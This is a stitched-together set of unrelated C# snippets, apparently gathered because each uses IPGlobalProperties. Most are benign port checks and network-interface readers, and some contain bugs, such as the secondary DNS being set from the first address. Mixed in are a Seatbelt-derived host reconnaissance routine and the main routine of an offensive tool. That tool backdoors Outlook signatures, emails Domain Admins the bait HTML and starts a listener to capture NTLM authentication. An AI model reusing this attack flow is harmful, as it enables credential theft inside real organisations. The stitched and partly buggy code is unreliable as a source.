private static string GetClientDomain() => IPGlobalProperties.GetIPGlobalProperties().HostName.Trim().ToLower();
private static bool CheckIfPortInUse(int port) { var ipProperties = IPGlobalProperties.GetIPGlobalProperties(); return(ipProperties.GetActiveTcpListeners().Any(endPoint => endPoint.Port == port)); }
/// <summary> /// retrieves information about the host computer such as network interfaces, IP addresses etc. and stores the information in settings /// </summary> public void GetHostInfo() { NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); NetCalcTool nct = settings.HostNetCalcTool; // loop through all network interfaces foreach (NetworkInterface adapter in nics) { //check if interface is loopback if (adapter.NetworkInterfaceType == NetworkInterfaceType.Loopback) { //skip if loopback continue; } //check if adapter is up if (adapter.OperationalStatus != OperationalStatus.Up) { //if not up skip this interface continue; } //create new HostNIC HostNIC nic = new HostNIC(); //get name, id, hardware address, interface type nic.Name = adapter.Name; nic.Id = adapter.Id; nic.MacAddress = adapter.GetPhysicalAddress().ToString(); nic.Type = adapter.NetworkInterfaceType.ToString(); //get ipv4 status nic.Ipv4Enabled = adapter.Supports(NetworkInterfaceComponent.IPv4); if (adapter.Supports(NetworkInterfaceComponent.IPv4)) { nic.StaticIPAddress = !adapter.GetIPProperties().GetIPv4Properties().IsDhcpEnabled; // get gateway addresses and set first if present GatewayIPAddressInformationCollection gateways = adapter.GetIPProperties().GatewayAddresses; if (gateways.Count > 0) { nic.Gateway = gateways[0].Address.ToString(); } // get unicast addresses foreach (UnicastIPAddressInformation unicastIPAddressInformation in adapter.GetIPProperties().UnicastAddresses) { // check if ipv4 address if (unicastIPAddressInformation.Address.AddressFamily == AddressFamily.InterNetwork) { // set ip adress nic.IPAddress = unicastIPAddressInformation.Address.ToString(); // get subnet mask String snetMask; try { // IPv4Mask not implemented in mono at current state snetMask = unicastIPAddressInformation.IPv4Mask.ToString(); } catch (NotImplementedException e) { IOController.Log(this, "failed to get subnetmask with unicastIPAddressInformation.IPv4Mask, using workaround", Flag.status); // workaround to get subnetmask in unix environment with mono using the custom SubnetMask class snetMask = ""; snetMask = SubnetMask.GetIPv4Mask(adapter.Name); } nic.SubnetMask = snetMask; } } //try to get the dns addresses of adapter try { IPAddressCollection dnsAddresses = adapter.GetIPProperties().DnsAddresses; if (dnsAddresses.Count >= 1) { nic.PrimaryDNS = dnsAddresses[0].ToString(); } if (dnsAddresses.Count >= 2) { nic.SecondaryDNS = dnsAddresses[0].ToString(); } } catch (Exception e) { IOController.Log(this, "failed to get DNS server addresses " + e, Flag.error); } //calculate network id try { nct.calculate(nic.IPAddress, nic.SubnetMask); nic.SubnetIdentifier = nct.NetworkId; } catch (Exception e) { IOController.Log(this, "failed calculate network address " + e, Flag.error); } } //add NIC to settings settings.AddInterface(nic); } }
public TcpConnectionInformation[] GetTcpConnectionsNative() { IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); return(properties.GetActiveTcpConnections()); }
internal static string GetDomainFQDN() { IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); return((properties != null && properties.DomainName != null) ? properties.DomainName : null); }
private static bool IsRunning() => IPGlobalProperties.GetIPGlobalProperties() .GetActiveTcpListeners() .Select(x => x.Port) .Contains(Port);
static int Main(string[] args) { string AdapterName; if (args.Length == 0) { Console.WriteLine("WinGatewayFixer - Must specify adapter"); return(-1); } else if (string.IsNullOrWhiteSpace(args[0])) { Console.WriteLine("WinGatewayFixer - Adapter cannot be null or empty"); return(-2); } else { AdapterName = args[0]; } bool quiet; if (args.Length == 1) { quiet = false; } else { switch (args[1].ToLower()) { case "-s": case "-q": case "--silent": case "--quiet": quiet = true; break; default: quiet = false; break; } } if (!quiet) { Console.WriteLine("WinGatewayFixer Starting"); } IPGlobalProperties computerProperties = IPGlobalProperties.GetIPGlobalProperties(); NetworkInterface[] nics = NetworkInterface.GetAllNetworkInterfaces(); GatewayIPAddressInformationCollection gatewayAddresses; foreach (NetworkInterface adapter in nics) { if (!quiet) { Console.WriteLine("Checking adapter: " + adapter.Name); } if (AdapterName == adapter.Name) { IPInterfaceProperties properties = adapter.GetIPProperties(); UnicastIPAddressInformationCollection uniCast = properties.UnicastAddresses; gatewayAddresses = properties.GatewayAddresses; bool fix = true; if (gatewayAddresses.Count == 0) { fix = true; } else { foreach (GatewayIPAddressInformation gatewayAddress in gatewayAddresses) { if (gatewayAddress.Address != new System.Net.IPAddress(new byte[] { 0, 0, 0, 0 })) { fix = false; } } } if (fix) { if (!quiet) { Console.WriteLine("Fixing: " + AdapterName); } SetDHCP(adapter.Name); } } } return(0); }
/// <summary> /// 检查端口占用 /// </summary> /// <param name="port">端口号</param> internal static bool IsPortInUse(uint port) { return(IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners() .Any(ipEndPoint => ipEndPoint.Port == port)); }
public TcpConnectionInformation[] Fetch() { return (IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections()); }
private static int GetTestServerPort() { return(Enumerable.Range(new Random().Next(49152, 65536), 60000) .Except(IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections().Select(c => c.LocalEndPoint.Port)) .First()); }
private static bool PortCheck(int port) => IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections().All(_ => _.LocalEndPoint.Port != port) && IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners().All(_ => _.Port != port);
private bool PortInUse(int port) { IPGlobalProperties ipProperties = IPGlobalProperties.GetIPGlobalProperties(); return(ipProperties.GetActiveTcpListeners().ToList().Exists(x => x.Port == port)); }
public IPEndPoint[] GetTcpListeners() { return(IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners()); }
private void materialRaisedButton1_Click(object sender, EventArgs e) { if (!status) { statusLabel.Text = "Connecting..."; IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties(); TcpConnectionInformation[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpConnections(); bool isAvailable = true; bool internetconnection = false; foreach (TcpConnectionInformation tcpi in tcpConnInfoArray) { if (tcpi.LocalEndPoint.Port == int.Parse(Lport.Text)) { statusLabel.Text = "port is using by another proccess..!"; break; } } try { using (var client = new WebClient()) using (client.OpenRead("http://clients3.google.com/generate_204")) { internetconnection = true; } } catch { MessageBox.Show("Failed.Check Your Internet connection!"); } if (isAvailable && internetconnection) { client = new SshClient(sshHost.Text, sshUser.Text, sshPASS.Text); client.KeepAliveInterval = new TimeSpan(0, 0, 30); client.ConnectionInfo.Timeout = new TimeSpan(0, 0, 20); client.Connect(); port = new ForwardedPortDynamic(Lhost.Text, uint.Parse(Lport.Text)); client.AddForwardedPort(port); try { run = new Thread(() => port.Start()); run.Start(); statusLabel.Text = "Connected✅"; status = true; MessageBox.Show("listener is active!\nhost:" + Lhost.Text + "\nport:" + Lport.Text); buttonConnect.Text = "DisConnect"; } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } } else { port.Stop(); run.Abort(); status = false; client.Disconnect(); statusLabel.Text = "DisConnected❌"; buttonConnect.Text = "Connect"; } }
/// <summary> /// 检查端口占用 /// </summary> /// <param name="port">端口号</param> private static bool IsPortInUse(uint port) => IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners() .Any(ipEndPoint => ipEndPoint.Port == port);
public Process StartIISExpress(int traceAgentPort, int iisPort) { // get full paths to integration definitions IEnumerable <string> integrationPaths = Directory.EnumerateFiles(".", "*integrations.json").Select(Path.GetFullPath); var exe = EnvironmentHelper.GetSampleExecutionSource(); var args = new string[] { $"/clr:v4.0", $"/path:{EnvironmentHelper.GetSampleProjectDirectory()}", $"/systray:false", $"/port:{iisPort}", $"/trace:info", }; Output.WriteLine($"[webserver] starting {exe} {string.Join(" ", args)}"); var process = ProfilerHelper.StartProcessWithProfiler( EnvironmentHelper.GetSampleExecutionSource(), EnvironmentHelper.GetSampleExecutionSource(), EnvironmentHelper, integrationPaths, arguments: string.Join(" ", args), redirectStandardInput: true, traceAgentPort: traceAgentPort); var wh = new EventWaitHandle(false, EventResetMode.AutoReset); Task.Run(() => { string line; while ((line = process.StandardOutput.ReadLine()) != null) { Output.WriteLine($"[webserver][stdout] {line}"); if (line.Contains("IIS Express is running")) { wh.Set(); } } }); Task.Run(() => { string line; while ((line = process.StandardError.ReadLine()) != null) { Output.WriteLine($"[webserver][stderr] {line}"); } }); wh.WaitOne(5000); // Wait for iis express to finish starting up var retries = 5; while (true) { var usedPorts = IPGlobalProperties.GetIPGlobalProperties() .GetActiveTcpListeners() .Select(ipEndPoint => ipEndPoint.Port); if (usedPorts.Contains(iisPort)) { break; } retries--; if (retries == 0) { throw new Exception("Gave up waiting for IIS Express."); } Thread.Sleep(1500); } return(process); }
private static bool IsPortBeingUsed(int port) { return(IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpConnections().Any( tcpConnectionInformation => tcpConnectionInformation.LocalEndPoint.Port == port)); }
//From Seatbelt public static Dictionary <string, string> GetBasicOSInfo() { Dictionary <string, string> results = new Dictionary <string, string>(); try { string ProductName = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName"); string EditionID = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "EditionID"); string ReleaseId = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ReleaseId"); string BuildBranch = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "BuildBranch"); string CurrentMajorVersionNumber = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentMajorVersionNumber"); string CurrentVersion = MyUtils.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "CurrentVersion"); bool isHighIntegrity = MyUtils.IsHighIntegrity(); CultureInfo ci = CultureInfo.InstalledUICulture; string systemLang = ci.Name; var timeZone = TimeZoneInfo.Local; InputLanguage myCurrentLanguage = InputLanguage.CurrentInputLanguage; string arch = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); string userName = Environment.GetEnvironmentVariable("USERNAME"); string ProcessorCount = Environment.ProcessorCount.ToString(); bool isVM = IsVirtualMachine(); DateTime now = DateTime.Now; String strHostName = Dns.GetHostName(); IPGlobalProperties properties = IPGlobalProperties.GetIPGlobalProperties(); string dnsDomain = properties.DomainName; const string query = "SELECT HotFixID FROM Win32_QuickFixEngineering"; var search = new ManagementObjectSearcher(query); var collection = search.Get(); string hotfixes = ""; foreach (ManagementObject quickFix in collection) { hotfixes += quickFix["HotFixID"].ToString() + ", "; } results.Add("Hostname", strHostName); if (dnsDomain.Length > 1) { results.Add("Domain Name", dnsDomain); } results.Add("ProductName", ProductName); results.Add("EditionID", EditionID); results.Add("ReleaseId", ReleaseId); results.Add("BuildBranch", BuildBranch); results.Add("CurrentMajorVersionNumber", CurrentMajorVersionNumber); results.Add("CurrentVersion", CurrentVersion); results.Add("Architecture", arch); results.Add("ProcessorCount", ProcessorCount); results.Add("SystemLang", systemLang); results.Add("KeyboardLang", myCurrentLanguage.Culture.EnglishName); results.Add("TimeZone", timeZone.DisplayName); results.Add("IsVirtualMachine", isVM.ToString()); results.Add("Current Time", now.ToString()); results.Add("HighIntegrity", isHighIntegrity.ToString()); results.Add("PartOfDomain", Program.partofdomain.ToString()); results.Add("Hotfixes", hotfixes); } catch (Exception ex) { Beaprint.GrayPrint(String.Format(" [X] Exception: {0}", ex.Message)); } return(results); }
public static bool Listening(this IPEndPoint endPoint) { return(IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners().Contains(endPoint)); }
private void Initialize() { _transport = new SmtpTransport(this); if (NetEventSource.Log.IsEnabled()) { NetEventSource.Associate(this, _transport); } _onSendCompletedDelegate = new SendOrPostCallback(SendCompletedWaitCallback); if (_host != null && _host.Length != 0) { _host = _host.Trim(); } if (_port == 0) { _port = DefaultPort; } if (_targetName == null) { _targetName = "SMTPSVC/" + _host; } if (_clientDomain == null) { // We use the local host name as the default client domain // for the client's EHLO or HELO message. This limits the // information about the host that we share. Additionally, the // FQDN is not available to us or useful to the server (internal // machine connecting to public server). // SMTP RFC's require ASCII only host names in the HELO/EHLO message. string clientDomainRaw = IPGlobalProperties.GetIPGlobalProperties().HostName; IdnMapping mapping = new IdnMapping(); try { clientDomainRaw = mapping.GetAscii(clientDomainRaw); } catch (ArgumentException) { } // For some inputs GetAscii may fail (bad Unicode, etc). If that happens // we must strip out any non-ASCII characters. // If we end up with no characters left, we use the string "LocalHost". This // matches Outlook behavior. StringBuilder sb = new StringBuilder(); char ch; for (int i = 0; i < clientDomainRaw.Length; i++) { ch = clientDomainRaw[i]; if ((ushort)ch <= 0x7F) { sb.Append(ch); } } if (sb.Length > 0) { _clientDomain = sb.ToString(); } else { _clientDomain = "LocalHost"; } } }
static void Main(string[] args) { string operation = ""; string port = ""; string newsigname = "default"; string logfile = ""; bool force = false; string group = ""; string findexisting = ""; string urlPrefix = ""; string argChallenge = ""; bool backdoorAll = false; bool showHelp = false; string hostname = Environment.MachineName; string server = ""; var opt = new OptionSet() { { "p|port=", "TCP Port.", v => port = v }, { "s|server=", "Remote Server.", v => server = v }, { "l|log=", "Log file path.", v => logfile = v }, { "g|group=", "Target Active Directory group.", v => group = v }, { "f|force", "Force HTTP server start.", v => force = v != null }, { "ba|backdoor-all", "Backdoor all signatures.", v => backdoorAll = v != null }, { "c|challenge=", "NTLM Challenge (in hex).", v => argChallenge = v }, { "u|url-prefix=", "URL Prefix. e.g. /MDEServer/test", v => urlPrefix = v }, { "h|help", "Show this message and exit.", v => showHelp = v != null }, }; List <string> extra; try { extra = opt.Parse(args); } catch (OptionException e) { Console.WriteLine(e.Message); Console.WriteLine("Try '--help' for more information."); return; } if (extra.Count > 0) { operation = extra[0].ToUpper(); } else { showHelp = true; } if (showHelp) { ShowHelp(opt); return; } // Notes for auto mode. // Is anything set in the trusted zone? // Is the firewall down? // Are there any ports we can use? // Is there anything bound to those ports? // Run the sig insert with 'ALL' if (operation.ToUpper() == "AUTO") { Console.WriteLine("\n[+] AUTO mode selected, trying to do everything..."); // Is anything set in the trusted zone? string domainName = IPGlobalProperties.GetIPGlobalProperties().DomainName; Util util = new Util(); string internetsettings = util.ListInternetSettings(); if (internetsettings.Contains(domainName) && domainName != "") { Console.WriteLine($"[+] Trust settings contain the domain {domainName} - the tool will usually use NETBIOS names for the listener, this might mean you can manually specify full DNS"); } else { Console.WriteLine("[!] Can't see the domain in the trust zone settings so let's hope other clients can resolve by hostname"); } // Is the firewall down, or can we bind to any ports that are allowed through? if (!string.IsNullOrEmpty(port)) { Console.WriteLine($"[*] Using specified port {port}"); } else { List <int> ports = util.GetFwInbound(); try { if (ports[0] != 0) { foreach (int p in ports) { bool inuse = util.PortFree(p); if (!inuse) { Console.WriteLine($"[+] Using open port {ports[0]}"); port = p.ToString(); break; } } } else { // TODO: random free port port = "8000"; Console.WriteLine($"[YAY] Using any port because the fw is down - this time it's {port}"); } } catch (Exception) { Console.WriteLine("[ERROR] Firewall enabled and no ports available, maybe you need to find somewhere else to listen?"); return; } } // Run the sig insert with 'ALL' string existingsig = "ALL"; Console.WriteLine("[*] Starting to mod signature."); ClsModSig ModSigAuto = new ClsModSig(); ModSigAuto.ModSignature(hostname, urlPrefix, port, newsigname, false, existingsig); if (util.HasWriteAccessToFolder()) { logfile = "log.txt"; } else { logfile = Path.Combine(Path.GetTempPath(), "log.txt"); Console.WriteLine($"[ERROR] Can't write to the current working directory - defaulting to {logfile}"); } Console.WriteLine($"[+] Done signature mods, starting to listen and log to {logfile}"); Console.WriteLine("[IMPORTANT] The signature change will not take effect until Outlook is restarted, so you'll need to kill the process"); StartListening("", port, logfile, argChallenge, force); return; } if (operation == "CHECKTRUST") { Util util = new Util(); util.ListInternetSettings(); return; } if (operation == "SHOWACLS") { Console.WriteLine("[*] Listing URL Prefixes with User permissions:\n"); AclHelper helper = new AclHelper(); foreach (string url in helper.GetAcls().Where(u => u.StartsWith("http:"))) { Console.WriteLine($"[*] URL: {url}"); port = url.Split(':')[2].Split('/')[0]; if (Util.IsSystemException(port)) { Console.WriteLine("[+] Firewall exception exists for this port"); } Console.WriteLine(); } return; } if (operation == "CHECKFW") { if (string.IsNullOrEmpty(port)) { Console.WriteLine("[ERROR] Supply a port - for example: SigWhatever.exe checkfw -p 8080"); return; } // check for regular TCP rules Util util = new Util(); util.CheckFirewall(Convert.ToInt32(port)); // Check if there is an Exception for SYSTEM if (Util.IsSystemException(port)) { Console.WriteLine($"[+] An exception for the System process exists for port {port}. If a permissive URL ACL exists for this port then you can use it with the -u parameter"); } return; } // Initialise some classes and get the local host name for starting the listener ClsModSig ModSig = new ClsModSig(); if (operation == "SIGNATURE") { if (string.IsNullOrEmpty(port)) { Console.WriteLine("[ERROR] Supply a port - for example: SigWhatever.exe signature -p 8080"); return; } // Set the existing string to ALL to tell the ModSignature function that we're just going to backdoor all sigs string existingsig = "ALL"; if (findexisting.Length > 1) { Console.WriteLine("[+] Just going to mod everything in the folder"); ModSig.ModSignature(hostname, urlPrefix, port, newsigname, false, existingsig); Console.WriteLine("[+] Done signature mods, starting to listen"); StartListening(urlPrefix, port, logfile, argChallenge, force); return; } else { Console.WriteLine("[+] Creating Outlook object to try to get existing signature text - this may pop up a warning."); ClsOutlook ol = new ClsOutlook(); existingsig = ol.GetExistingSig(); if (existingsig == null) { return; } ModSig.ModSignature(hostname, urlPrefix, port, newsigname, false, existingsig); Console.WriteLine("[+] Done signature mods, starting to listen"); Console.WriteLine("[IMPORTANT] The signature change will not take effect until Outlook is restarted, so you'll need to kill the process"); StartListening(urlPrefix, port, logfile, argChallenge, force); return; } } if (operation == "SIGNOLISTEN") { if (string.IsNullOrEmpty(server) || string.IsNullOrEmpty(port)) { Console.WriteLine("[ERROR] Supply a server - for example: SigWhatever.exe signolisten -s server.domain.com -p 8080"); return; } if (backdoorAll) { // Set the existing string to all to tell the ModSignature function that we're just going to backdoor all sigs Console.WriteLine("[+] Just going to mod everything in the folder"); ModSig.ModSignature(server, urlPrefix, port, newsigname, false, "ALL"); Console.WriteLine($"[+] Done signature mods, make sure you can start a listener on {server}:{port}"); } else { Console.WriteLine("[NOTE] Creating Outlook object to try to get existing signature text - this may pop up a warning."); ClsOutlook ol = new ClsOutlook(); string existingsig = ol.GetExistingSig(); if (existingsig == null) { return; } ModSig.ModSignature(server, urlPrefix, port, newsigname, false, existingsig); Console.WriteLine($"[IMPORTANT] Done signature mods, make sure you can start a listener on {server}:{port}"); Console.WriteLine("[IMPORTANT] The signature change will not take effect until Outlook is restarted, so you'll need to kill the process"); } } if (operation == "CLEANUP") { port = "80"; ModSig.ModSignature("", "", port, newsigname, true, ""); Console.WriteLine("[IMPORTANT] The signature change will not take effect until Outlook is restarted, so you'll need to kill the process"); } if (operation == "LISTENONLY") { if (string.IsNullOrEmpty(port)) { Console.WriteLine("[ERROR] Supply a port and logfile (optional) - for example: SigWhatever.exe listenonly -p 8080 -l logfile.txt"); return; } StartListening(urlPrefix, port, logfile, argChallenge, force); return; } if (operation == "EMAILADMINS") { if (String.IsNullOrEmpty(port) || String.IsNullOrEmpty(group)) { Console.WriteLine("[ERROR] Supply a group and port - for example: SigWhatever.exe emailadmins -g \"Domain Admins\" -p 8080"); return; } List <string> lstEmails = new List <string>(); try { ClsLDAP ld = new ClsLDAP(); string domain = Environment.UserDomainName; Console.WriteLine($"[+] Getting emails from the {group} group for {domain}"); lstEmails = ld.EnumGroupEmails(group, domain); } catch (Exception) { Console.WriteLine("[!] Error enumerating group emails"); return; } string bodyhtml = ModSig.MakeNewHTML(hostname, urlPrefix, port); ClsOutlook ol = new ClsOutlook(); ol.SendEmail(lstEmails, "Empty", bodyhtml); Console.WriteLine("[+] Sent emails, starting to listen"); StartListening(urlPrefix, port, logfile, argChallenge, force); return; } }
static void Main() { ServiceHost host = null; try { Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); Form1 form = new Form1(); try { string uriAddressString = null; string ports = ConfigurationManager.AppSettings["rangeOfPorts"]; int[] rangeOfPorts = string.IsNullOrEmpty(ports) ? new int[] { 10100, 10101, 10102, 10103, 10104, 10105, 10106, 10107, 10108, 10109 } : ports.Split(',').Select(n => Convert.ToInt32(n)).ToArray(); var usedPorts = IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners(); for (int ii = 0; ii < rangeOfPorts.Length; ii++) { if (usedPorts.FirstOrDefault(p => p.Port == rangeOfPorts[ii]) == null) { uriAddressString = string.Format(@"http://localhost:{0}/sb", rangeOfPorts[ii]); break; } } ; if (string.IsNullOrEmpty(uriAddressString)) { throw new Exception("Not available port in the range 10100-10109"); } // interprocess communications var endpointAddress = new EndpointAddress("net.pipe://localhost/AzureIoTHubTester_" + Process.GetCurrentProcess().Id); var binding = new NetNamedPipeBinding(NetNamedPipeSecurityMode.None); var se = new ServiceEndpoint(ContractDescription.GetContract(typeof(IGenericOneWayContract)), binding, endpointAddress); host = new ServiceHost(typeof(TesterService)); host.AddServiceEndpoint(se); host.Extensions.Add(form); host.Open(); } catch (Exception ex) { form.ShowText(ex.Message); } // form.Text = string.Format("[{0}] Axure IoT Hub Tester", (form.Tag as Uri).Port); Application.Run(form); } finally { if (host != null && host.State == CommunicationState.Faulted) { host.Abort(); } else if (host != null && host.State == CommunicationState.Opened) { host.Close(); } } }
private void StartLookup() { DisplayStatusMessage = false; IsLookupRunning = true; // Reset statistic DNSServerAndPort = string.Empty; Questions = 0; Answers = 0; Authorities = 0; Additionals = 0; MessageSize = 0; // Measure the time StartTime = DateTime.Now; stopwatch.Start(); dispatcherTimer.Tick += DispatcherTimer_Tick; dispatcherTimer.Interval = new TimeSpan(0, 0, 0, 0, 100); dispatcherTimer.Start(); EndTime = null; // Reset the latest results LookupResult.Clear(); HostnameOrIPAddressHistory = new List <string>(HistoryListHelper.Modify(HostnameOrIPAddressHistory, HostnameOrIPAddress, SettingsManager.Current.Application_HistoryListEntries)); DNSLookupOptions DNSLookupOptions = new DNSLookupOptions(); if (SettingsManager.Current.DNSLookup_UseCustomDNSServer) { if (!string.IsNullOrEmpty(SettingsManager.Current.DNSLookup_CustomDNSServer)) { DNSLookupOptions.UseCustomDNSServer = SettingsManager.Current.DNSLookup_UseCustomDNSServer; DNSLookupOptions.CustomDNSServer = SettingsManager.Current.DNSLookup_CustomDNSServer; } else { StatusMessage = Application.Current.Resources["String_CustomDNSServerIsEmptyCheckYourSettingsUseWindowsOwnDNSServer"] as string; DisplayStatusMessage = true; } } DNSLookupOptions.Class = SettingsManager.Current.DNSLookup_Class; DNSLookupOptions.Type = SettingsManager.Current.DNSLookup_Type; DNSLookupOptions.Recursion = SettingsManager.Current.DNSLookup_Recursion; DNSLookupOptions.UseResolverCache = SettingsManager.Current.DNSLookup_UseResolverCache; DNSLookupOptions.TransportType = SettingsManager.Current.DNSLookup_TransportType; DNSLookupOptions.Attempts = SettingsManager.Current.DNSLookup_Attempts; DNSLookupOptions.Timeout = SettingsManager.Current.DNSLookup_Timeout; DNSLookupOptions.ResolveCNAME = SettingsManager.Current.DNSLookup_ResolveCNAME; DNSLookup DNSLookup = new DNSLookup(); DNSLookup.RecordReceived += DNSLookup_RecordReceived; DNSLookup.LookupError += DNSLookup_LookupError; DNSLookup.LookupComplete += DNSLookup_LookupComplete; string hostnameOrIPAddress = HostnameOrIPAddress; string dnsSuffix = string.Empty; // Detect hostname (usually they don't contain ".") if (HostnameOrIPAddress.IndexOf(".", StringComparison.OrdinalIgnoreCase) == -1) { if (SettingsManager.Current.DNSLookup_AddDNSSuffix) { if (SettingsManager.Current.DNSLookup_UseCustomDNSSuffix) { dnsSuffix = SettingsManager.Current.DNSLookup_CustomDNSSuffix; } else { dnsSuffix = IPGlobalProperties.GetIPGlobalProperties().DomainName; } } } // Append dns suffix to hostname if (!string.IsNullOrEmpty(dnsSuffix)) { hostnameOrIPAddress += string.Format("{0}{1}", dnsSuffix.StartsWith(".") ? "" : ".", dnsSuffix); } DNSLookup.LookupAsync(hostnameOrIPAddress, DNSLookupOptions); }
/// <summary> /// Evaluate current system tcp connections /// </summary> private static bool IsServerPortAvailable(int portNumber) { IPEndPoint[] tcpConnInfoArray = IPGlobalProperties.GetIPGlobalProperties().GetActiveTcpListeners(); return(tcpConnInfoArray.All(endpoint => endpoint.Port != portNumber)); }
/// <summary> /// This will connect a UDP client to a given UDP server /// </summary> /// <param name="host">The server's host address on the network</param> /// <param name="port">The port that the server is hosting on</param> /// <param name="natHost">The NAT server host address, if blank NAT will be skipped</param> /// <param name="natPort">The port that the NAT server is hosting on</param> /// <param name="pendCreates">Immidiately set the NetWorker::PendCreates to true</param> public void Connect(string host, ushort port = DEFAULT_PORT, string natHost = "", ushort natPort = NatHolePunch.DEFAULT_NAT_SERVER_PORT, bool pendCreates = false, ushort overrideBindingPort = DEFAULT_PORT + 1) { if (Disposed) { throw new ObjectDisposedException("UDPClient", "This object has been disposed and can not be used to connect, please use a new UDPClient"); } // By default pending creates should be true and flushed when ready if (!pendCreates) { PendCreates = true; } try { ushort clientPort = overrideBindingPort; // Make sure not to listen on the same port as the server for local networks if (clientPort == port) { clientPort++; } for (; ; clientPort++) { try { IPEndPoint[] activeEndPoints = IPGlobalProperties.GetIPGlobalProperties().GetActiveUdpListeners(); bool alreadyinuse = activeEndPoints.Any(p => p.Port == clientPort); if (!alreadyinuse) { Client = new CachedUdpClient(clientPort); break; } } catch { if (port == 0) { throw new BaseNetworkException("There were no ports available starting from port " + port); } } } Client.EnableBroadcast = true; // If the server is behind a NAT, request for the port punch by the nat server if (!string.IsNullOrEmpty(natHost)) { nat.Connect(host, port, clientPort, natHost, natPort); } // Do any generic initialization in result of the successful bind OnBindSuccessful(); // Get a random hash key that needs to be used for validating that the server was connected to headerHash = Websockets.HeaderHashKey(); // This is a typical Websockets accept header to be validated byte[] connectHeader = Websockets.ConnectionHeader(headerHash, port); try { // Setup the identity of the server as a player server = new NetworkingPlayer(0, host, true, ResolveHost(host, port), this); } catch (ArgumentException) { if (connectAttemptFailed != null) { connectAttemptFailed(this); } throw; } // Create the thread that will be listening for new data from connected clients and start its execution Task.Queue(ReadNetwork); //Let myself know I connected successfully OnPlayerConnected(server); // Set myself as a connected client server.Connected = true; //Set the port SetPort(clientPort); int connectCounter = 0; Task.Queue(() => { do { // Send the accept headers to the server to validate Client.Send(connectHeader, connectHeader.Length, Server.IPEndPointHandle); Thread.Sleep(3000); } while (!headerExchanged && IsBound && ++connectCounter < CONNECT_TRIES); if (connectCounter >= CONNECT_TRIES) { if (connectAttemptFailed != null) { connectAttemptFailed(this); } } }); } catch (Exception e) { Logging.BMSLog.LogException(e); // Do any generic initialization in result of the binding failure OnBindFailure(); throw new FailedBindingException("Failed to bind to host/port, see inner exception", e); } }